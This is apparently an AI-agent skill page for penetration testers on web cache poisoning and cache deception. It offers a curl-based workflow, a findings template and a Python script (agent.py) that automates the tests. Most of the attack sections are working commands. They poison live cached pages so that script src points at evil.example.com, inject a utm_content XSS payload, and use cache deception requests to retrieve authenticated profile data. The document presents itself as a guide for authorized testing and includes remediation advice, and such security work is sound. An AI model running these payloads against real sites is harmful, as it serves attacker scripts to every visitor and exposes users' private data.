npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
When to Use
- During authorized penetration tests when the application uses CDN or reverse proxy caching (Cloudflare, Akamai, Varnish, Nginx)
- When assessing web applications for cache-based vulnerabilities that could affect all users
- For testing whether unkeyed HTTP headers are reflected in cached responses
- When evaluating cache key behavior and cache deception vulnerabilities
- During security assessments of applications with aggressive caching policies
Prerequisites
- Authorization: Written penetration testing agreement explicitly covering cache poisoning testing
- Burp Suite Professional: With Param Miner extension for automated unkeyed header discovery
- curl: For manual cache testing with precise header control
- Target knowledge: Understanding of the caching layer (CDN provider, cache headers)
- Cache buster: Unique query parameter to isolate test requests from other users
- Caution: Cache poisoning affects all users; test with cache-busting parameters first
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1: Identify the Caching Layer and Behavior
Determine what caching infrastructure is in use and how the cache key is constructed.
# Check cache-related response headers
curl -s -I "https://target.example.com/" | grep -iE \
"(cache-control|x-cache|cf-cache|age|vary|x-varnish|x-served-by|cdn|via)"
# Common cache indicators:
# X-Cache: HIT / MISS
# CF-Cache-Status: HIT / MISS / DYNAMIC (Cloudflare)
# Age: 120 (seconds since cached)
# X-Varnish: 12345 67890 (Varnish)
# Via: 1.1 varnish (Varnish/CDN proxy)
# Determine cache key by testing variations
# Cache key typically includes: Host + Path + Query string
# Test 1: Same URL, two requests - check if second is cached
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
# First: MISS, Second: HIT = caching is active
# Test 2: Vary header behavior
curl -s -I "https://target.example.com/" | grep -i "vary"
# Vary: Accept-Encoding means Accept-Encoding is part of cache keyStep 2: Discover Unkeyed Inputs with Param Miner
Use Burp's Param Miner to find headers and parameters not included in the cache key but reflected in responses.
# In Burp Suite:
# 1. Install Param Miner from BApp Store
# 2. Right-click target request > Extensions > Param Miner > Guess headers
# 3. Param Miner will test hundreds of HTTP headers
# 4. Check results in Extender > Extensions > Param Miner > Output
# Common unkeyed headers to test manually:
# X-Forwarded-Host, X-Forwarded-Scheme, X-Forwarded-Proto
# X-Original-URL, X-Rewrite-URL
# X-Host, X-Forwarded-Server
# Origin, Referer
# X-Forwarded-For, True-Client-IP# Manual testing for unkeyed header reflection
# Add cache buster to isolate testing
CB="cachebuster=$(date +%s)"
# Test X-Forwarded-Host reflection
curl -s -H "X-Forwarded-Host: evil.example.com" \
"https://target.example.com/?$CB" | grep "evil.example.com"
# Test X-Forwarded-Scheme
curl -s -H "X-Forwarded-Scheme: nothttps" \
"https://target.example.com/?$CB" | grep "nothttps"
# Test X-Original-URL (path override)
curl -s -H "X-Original-URL: /admin" \
"https://target.example.com/?$CB"
# Test X-Forwarded-Proto
curl -s -H "X-Forwarded-Proto: http" \
"https://target.example.com/?$CB" | grep "http://"Step 3: Exploit Unkeyed Header for Cache Poisoning
Craft requests that poison cached responses with malicious content.
# Scenario: X-Forwarded-Host reflected in resource URLs
# Normal response includes: <script src="https://target.example.com/app.js">
# Poisoned: <script src="https://evil.example.com/app.js">
# Step 1: Confirm reflection with cache buster
curl -s -H "X-Forwarded-Host: evil.example.com" \
"https://target.example.com/?cb=unique123" | \
grep "evil.example.com"
# Step 2: Poison the actual cached page (WITHOUT cache buster)
# WARNING: This affects all users - only do with explicit authorization
curl -s -H "X-Forwarded-Host: evil.example.com" \
"https://target.example.com/"
# Step 3: Verify cache is poisoned
curl -s "https://target.example.com/" | grep "evil.example.com"
# If evil.example.com appears, the cache is poisoned
# Attack with X-Forwarded-Proto for HTTP downgrade
curl -s -H "X-Forwarded-Proto: http" \
"https://target.example.com/?cb=unique456"
# May cause cached response to include http:// links, enabling MitM
# Attack with multiple headers
curl -s \
-H "X-Forwarded-Host: evil.example.com" \
-H "X-Forwarded-Proto: https" \
"https://target.example.com/?cb=unique789"Step 4: Test Web Cache Deception
Trick the cache into storing authenticated responses for public URLs.
# Web Cache Deception attack
# The cache caches based on file extension (.css, .js, .jpg)
# If the application ignores path suffixes:
# Step 1: As victim (authenticated), visit:
# https://target.example.com/account/profile/nonexistent.css
# If the application returns the profile page (ignoring .css suffix)
# AND the cache stores it because of .css extension...
# Test application path handling
curl -s -H "Authorization: Bearer $VICTIM_TOKEN" \
"https://target.example.com/account/profile/test.css" | \
grep -i "email\|name\|balance"
# Step 2: As attacker (unauthenticated), request:
curl -s "https://target.example.com/account/profile/test.css"
# If victim's profile data is returned, cache deception is confirmed
# Test various static extensions
for ext in css js jpg png gif ico svg woff woff2 ttf; do
echo -n ".$ext: "
curl -s -H "Authorization: Bearer $TOKEN" \
-o /dev/null -w "%{http_code} %{size_download}" \
"https://target.example.com/account/settings/x.$ext"
echo
done
# Test path confusion patterns
# /account/settings%2f..%2fstatic/style.css
# /account/settings/..;/static/style.css
# /account/settings;.cssStep 5: Test Parameter-Based Cache Poisoning
Exploit unkeyed query parameters or parameter parsing differences.
# Unkeyed parameter (parameter not in cache key but reflected)
# Using UTM parameters that are often excluded from cache keys
curl -s "https://target.example.com/?utm_content=<script>alert(1)</script>&cb=$(date +%s)" | \
grep "alert"
# Parameter cloaking via parsing differences
# Backend sees: callback=evil, Cache key ignores: callback
curl -s "https://target.example.com/jsonp?callback=alert(1)&cb=$(date +%s)"
# Fat GET request (body in GET request)
curl -s -X GET \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "param=evil_value" \
"https://target.example.com/page?cb=$(date +%s)"
# Cache key normalization differences
# Some caches normalize query string order, some don't
curl -s "https://target.example.com/page?a=1&b=2" # Cached as key1
curl -s "https://target.example.com/page?b=2&a=1" # Same key? Or different?
# Test port-based cache poisoning
curl -s -H "Host: target.example.com:1234" \
"https://target.example.com/?cb=$(date +%s)" | grep "1234"Step 6: Validate Impact and Clean Up
Confirm the attack impact and ensure poisoned cache entries are cleared.
# Verify poisoned cache serves to other users
# Use a different IP/User-Agent/session to verify
curl -s -H "User-Agent: CacheVerification" \
"https://target.example.com/" | grep "evil"
# Check cache TTL to understand exposure window
curl -s -I "https://target.example.com/" | grep -i "cache-control\|max-age\|s-maxage"
# max-age=3600 means poisoned for 1 hour
# Clean up: Force cache refresh
# Some CDNs allow purging via API
# Cloudflare: API call to purge cache
# Varnish: PURGE method
curl -s -X PURGE "https://target.example.com/"
# Or wait for TTL to expire
# Document the cache poisoning window
# Start time: when poison request was sent
# End time: start time + max-age
# Affected users: all users hitting the cached URL during the windowKey Concepts
| Concept | Description |
|---|---|
| Cache Key | The set of request attributes (host, path, query) used to identify cached responses |
| Unkeyed Input | HTTP headers or parameters not included in the cache key but reflected in responses |
| Cache Poisoning | Injecting malicious content into cached responses that are served to other users |
| Cache Deception | Tricking the cache into storing authenticated/private responses as public content |
| Vary Header | HTTP header specifying which request headers should be included in the cache key |
| Cache Buster | A unique query parameter used to prevent affecting the real cache during testing |
| TTL (Time to Live) | Duration a cached response remains valid before being refreshed |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Request interception and cache behavior analysis |
| Param Miner (Burp Extension) | Automated discovery of unkeyed HTTP headers and parameters |
| Web Cache Vulnerability Scanner | Automated cache poisoning detection tool |
| curl | Manual HTTP request crafting with precise header control |
| Varnishlog | Varnish cache debugging and log analysis |
| CDN-specific tools | Cloudflare Analytics, Akamai Pragma headers for cache diagnostics |
Common Scenarios
Scenario 1: X-Forwarded-Host Script Injection
The application reflects the X-Forwarded-Host header in script src URLs. This header is not part of the cache key. Sending a request with X-Forwarded-Host: evil.com poisons the cache to load JavaScript from the attacker's server for all subsequent visitors.
Scenario 2: Web Cache Deception on Account Page
A Cloudflare-cached application ignores unknown path segments. Requesting /account/profile/logo.png returns the account page while Cloudflare caches it as a static image. Any unauthenticated user can then access the cached account page.
Scenario 3: Parameter-Based XSS via Cache
UTM tracking parameters are excluded from the cache key but rendered in the page HTML. Injecting <script> tags via utm_content parameter poisons the cache with stored XSS affecting all visitors.
Scenario 4: CDN Cache Poisoning via Host Header
Multiple applications are behind the same CDN. Manipulating the Host header causes the CDN to cache a response from one application under another application's cache key.
Output Format
## Web Cache Poisoning Finding
**Vulnerability**: Web Cache Poisoning via Unkeyed Header
**Severity**: High (CVSS 8.6)
**Location**: X-Forwarded-Host header on all pages
**OWASP Category**: A05:2021 - Security Misconfiguration
### Cache Configuration
| Property | Value |
|----------|-------|
| CDN/Cache | Cloudflare |
| Cache-Control | max-age=3600, public |
| Unkeyed Headers | X-Forwarded-Host, X-Forwarded-Proto |
| Affected Pages | All HTML pages (/*.html) |
### Reproduction Steps
1. Send request with X-Forwarded-Host: evil.example.com
2. Response includes: <link href="https://evil.example.com/style.css">
3. This response is cached by Cloudflare for 3600 seconds
4. All subsequent visitors receive the poisoned response
### Impact
- JavaScript execution in all users' browsers (via poisoned script src)
- Credential theft, session hijacking, defacement
- Affects estimated 50,000 daily visitors during 1-hour cache window
- Can be re-poisoned continuously for persistent attack
### Recommendation
1. Include X-Forwarded-Host and similar headers in the cache key via Vary header
2. Do not reflect unkeyed headers in response content
3. Configure the cache to strip unknown headers before forwarding to origin
4. Use application-level hardcoded base URLs instead of deriving from headers
5. Implement cache key normalization to prevent key manipulationReferences and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 1
api-reference.md2.1 KB
API Reference: Web Cache Poisoning Attack Agent
Overview
Tests web applications for cache poisoning vulnerabilities by identifying CDN infrastructure, testing unkeyed headers for reflection and caching, and checking for cache deception paths.
Dependencies
| Package | Version | Purpose |
|---|---|---|
| requests | >= 2.28 | HTTP requests with custom headers |
Core Functions
identify_cache_layer(target_url)
Detects caching infrastructure (Cloudflare, Varnish, Akamai, Fastly, CloudFront) from response headers.
- Returns:
dictwithcdn_detected, cache headers
test_cache_hit_miss(target_url)
Sends 3 sequential requests with cache buster to observe HIT/MISS progression.
- Returns:
dictwith per-request cache status
test_unkeyed_headers(target_url)
Tests 10 common unkeyed headers (X-Forwarded-Host, X-Original-URL, etc.) for reflection and cache poisoning.
- Process: Send header -> check reflection -> re-request without header -> verify cached poison
- Returns:
list[dict]withreflected,cached_poison,risk
test_cache_key_normalization(target_url)
Tests cache key handling for extra parameters, fragments, and trailing slashes.
- Returns:
list[dict]- variation test results
test_cache_deception(target_url)
Tests web cache deception by requesting authenticated pages with static file extensions (.css, .js, .png).
- Returns:
list[dict]- cached sensitive endpoints
run_assessment(target_url)
Full assessment pipeline with summary statistics.
Unkeyed Headers Tested
| Header | Attack Vector |
|---|---|
| X-Forwarded-Host | Host override for poisoning links/redirects |
| X-Forwarded-Scheme | HTTPS downgrade to HTTP |
| X-Original-URL | Path override (Nginx/IIS) |
| X-Rewrite-URL | Path override |
| X-Host | Alternative host injection |
| X-Forwarded-Port | Port injection |
Risk Levels
| Level | Criteria |
|---|---|
| CRITICAL | Header reflected AND cached (full cache poison) |
| HIGH | Header reflected but not confirmed cached |
Usage
python agent.py https://target.example.comScripts 1
agent.py7.9 KB
#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""Web cache poisoning assessment agent using requests and subprocess."""
import sys
import json
import time
import random
import string
try:
import requests
from requests.exceptions import RequestException
except ImportError:
print("Install: pip install requests")
sys.exit(1)
def generate_cache_buster():
"""Generate a unique cache buster parameter."""
return "cb" + "".join(random.choices(string.ascii_lowercase + string.digits, k=8))
def identify_cache_layer(target_url):
"""Identify caching infrastructure from response headers."""
try:
resp = requests.get(target_url, timeout=10, verify=False)
except RequestException as e:
return {"error": str(e)}
headers = dict(resp.headers)
cache_info = {
"url": target_url,
"cache_control": headers.get("Cache-Control", ""),
"x_cache": headers.get("X-Cache", ""),
"cf_cache_status": headers.get("CF-Cache-Status", ""),
"age": headers.get("Age", ""),
"vary": headers.get("Vary", ""),
"x_varnish": headers.get("X-Varnish", ""),
"via": headers.get("Via", ""),
"x_served_by": headers.get("X-Served-By", ""),
"cdn_detected": None,
}
header_text = json.dumps(headers).lower()
if "cloudflare" in header_text or cache_info["cf_cache_status"]:
cache_info["cdn_detected"] = "Cloudflare"
elif "varnish" in header_text:
cache_info["cdn_detected"] = "Varnish"
elif "akamai" in header_text:
cache_info["cdn_detected"] = "Akamai"
elif "fastly" in header_text:
cache_info["cdn_detected"] = "Fastly"
elif "x-amz" in header_text:
cache_info["cdn_detected"] = "AWS CloudFront"
return cache_info
def test_cache_hit_miss(target_url):
"""Determine if responses are being cached by comparing repeated requests."""
cb = generate_cache_buster()
test_url = f"{target_url}?{cb}=1"
results = []
for i in range(3):
try:
resp = requests.get(test_url, timeout=10, verify=False)
results.append({
"request": i + 1,
"x_cache": resp.headers.get("X-Cache", ""),
"cf_cache": resp.headers.get("CF-Cache-Status", ""),
"age": resp.headers.get("Age", ""),
"status": resp.status_code,
})
except RequestException:
pass
time.sleep(1)
return {"test_url": test_url, "results": results}
def test_unkeyed_headers(target_url):
"""Test for unkeyed headers that are reflected in cached responses."""
cb = generate_cache_buster()
base_url = f"{target_url}?{cb}=1"
unkeyed_headers = [
("X-Forwarded-Host", "evil.com"),
("X-Forwarded-Scheme", "http"),
("X-Forwarded-Proto", "http"),
("X-Original-URL", "/admin"),
("X-Rewrite-URL", "/admin"),
("X-Host", "evil.com"),
("X-Forwarded-Server", "evil.com"),
("X-Forwarded-Port", "1337"),
("X-Original-Host", "evil.com"),
("Transfer-Encoding", "chunked"),
]
findings = []
for header_name, header_value in unkeyed_headers:
cb = generate_cache_buster()
test_url = f"{target_url}?{cb}=1"
try:
resp = requests.get(
test_url, headers={header_name: header_value},
timeout=10, verify=False
)
if header_value in resp.text:
poisoned_resp = requests.get(test_url, timeout=10, verify=False)
cached_poison = header_value in poisoned_resp.text
findings.append({
"header": header_name,
"value": header_value,
"reflected": True,
"cached_poison": cached_poison,
"risk": "CRITICAL" if cached_poison else "HIGH",
})
except RequestException:
pass
return findings
def test_cache_key_normalization(target_url):
"""Test cache key normalization issues."""
cb = generate_cache_buster()
tests = []
variations = [
(f"{target_url}?{cb}=1", "Original"),
(f"{target_url}?{cb}=1&utm_source=test", "Extra parameter"),
(f"{target_url}?{cb}=1#fragment", "Fragment"),
(f"{target_url}/?{cb}=1", "Trailing slash"),
]
for url, desc in variations:
try:
resp = requests.get(url, timeout=10, verify=False)
tests.append({
"variation": desc, "url": url,
"status": resp.status_code,
"x_cache": resp.headers.get("X-Cache", ""),
"content_length": len(resp.content),
})
except RequestException:
pass
return tests
def test_cache_deception(target_url):
"""Test for web cache deception vulnerabilities."""
cb = generate_cache_buster()
deception_paths = [
"/account/profile.css",
"/api/user.js",
"/settings.png",
"/dashboard/nonexistent.css",
]
findings = []
for path in deception_paths:
test_url = f"{target_url.rstrip('/')}{path}?{cb}=1"
try:
resp = requests.get(test_url, timeout=10, verify=False)
cache_status = resp.headers.get("X-Cache", resp.headers.get("CF-Cache-Status", ""))
if "HIT" in cache_status.upper() or resp.headers.get("Age"):
findings.append({
"path": path,
"cached": True,
"status": resp.status_code,
"content_type": resp.headers.get("Content-Type", ""),
"risk": "HIGH",
})
except RequestException:
pass
return findings
def run_assessment(target_url):
"""Full web cache poisoning assessment."""
report = {
"target": target_url,
"cache_layer": identify_cache_layer(target_url),
"cache_behavior": test_cache_hit_miss(target_url),
"unkeyed_headers": test_unkeyed_headers(target_url),
"key_normalization": test_cache_key_normalization(target_url),
"cache_deception": test_cache_deception(target_url),
}
critical_count = sum(
1 for f in report["unkeyed_headers"] if f.get("risk") == "CRITICAL"
)
high_count = sum(
1 for f in report["unkeyed_headers"] if f.get("risk") == "HIGH"
) + len(report["cache_deception"])
report["summary"] = {
"cdn": report["cache_layer"].get("cdn_detected", "Unknown"),
"critical_findings": critical_count,
"high_findings": high_count,
"poisonable_headers": [f["header"] for f in report["unkeyed_headers"] if f.get("cached_poison")],
}
return report
def print_report(report):
print("Web Cache Poisoning Assessment")
print("=" * 50)
print(f"Target: {report['target']}")
print(f"CDN: {report['summary']['cdn']}")
print(f"Critical: {report['summary']['critical_findings']}")
print(f"High: {report['summary']['high_findings']}")
if report["summary"]["poisonable_headers"]:
print(f"\nPoisonable Headers:")
for h in report["summary"]["poisonable_headers"]:
print(f" - {h}")
print(f"\nUnkeyed Header Tests:")
for f in report["unkeyed_headers"]:
status = "POISON" if f.get("cached_poison") else ("REFLECTED" if f.get("reflected") else "SAFE")
print(f" {f['header']}: {status} [{f.get('risk', 'N/A')}]")
if report["cache_deception"]:
print(f"\nCache Deception:")
for f in report["cache_deception"]:
print(f" {f['path']}: CACHED ({f['content_type']})")
if __name__ == "__main__":
target = sys.argv[1] if len(sys.argv) > 1 else "https://example.com"
result = run_assessment(target)
print_report(result)